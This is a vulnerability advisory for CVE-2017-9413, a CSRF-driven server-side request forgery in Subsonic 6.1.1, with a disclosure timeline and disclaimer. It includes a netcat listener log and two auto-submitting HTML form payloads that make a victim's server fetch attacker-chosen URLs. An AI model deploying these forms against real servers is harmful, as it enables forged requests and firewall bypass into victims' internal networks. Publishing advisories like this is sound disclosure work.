[+] Credits: John Page a.k.a hyp3rlinx [+] Website: hyp3rlinx.altervista.org [+] Source: http://hyp3rlinx.altervista.org/advisories/SUBSONIC-CSRF-SERVER-SIDE-REQUEST-FORGERY.txt [+] ISR: ApparitionSec Vendor: ================ www.subsonic.org Product: =============== subsonic v6.1.1 Subsonic is a media streaming server. You install it on your own computer where you keep your music or video collection. Vulnerability Type: ================================== CSRF - Server Side Request Forgery CVE Reference: ============== CVE-2017-9413 Security Issue: ================ Remote attackers can abuse the Podcast feature of subsonic to launch Server Side Request Forgery attacks on the internal network or to the internet if an authenticated user clicks a malicious link or visits an attacker controlled webpage. SSRF can be used to bypass Firewall restriction on LAN. e.g nc.exe -llvp 1337 listening on [any] 1337 ... connect to [127.0.0.1] from USER-PC [127.0.0.1] 64428 GET / HTTP/1.1 Cache-Control: no-cache Pragma: no-cache User-Agent: Java/1.8.0_45 Host: 127.0.0.1:1337 Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2 Connection: keep-alive Exploit/POC: ============= nc.exe -llvp 1337 listening on [any] 1337 ... 1) Subscribe to Podcast CSRF Persistent SSRF <form method="post" action="http://localhost:4040/podcastReceiverAdmin.view?"> <input type="text" name="add" value="http://127.0.0.1:1337"> <input type="submit" value="OK"> <script>document.forms[0].submit()</script> </form> nc.exe -llvp 5555 listening on [any] 5555 ... 2) Interet Radio Settings CSRF Persistent SSRF <form action="http://localhost:4040/networkSettings.view" method="post"> <input name="portForwardingEnabled" type="hidden" value="true"/> <input type="hidden" name="_portForwardingEnabled" value="on"/> <input name="urlRedirectionEnabled" type="hidden" value="true" /> <input type="hidden" name="_urlRedirectionEnabled" value="on"/> <input name="urlRedirectType" type="radio" value="NORMAL"/> <input name="urlRedirectFrom" type="radio" value="yourname"/> <input name="urlRedirectType" type="radio" value="CUSTOM" checked="true" /> <input name="urlRedirectCustomUrl" type="hidden" value="http://127.0.0.1:5555"/> <script>document.forms[0].submit()</script> </form> Network Access: =============== Remote Severity: ========= High Disclosure Timeline: ================================== Vendor Notification: May 29, 2017 Vendor Acknowledgement: May 30, 2017 June 4, 2017 : Public Disclosure [+] Disclaimer The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. All content (c). hyp3rlinx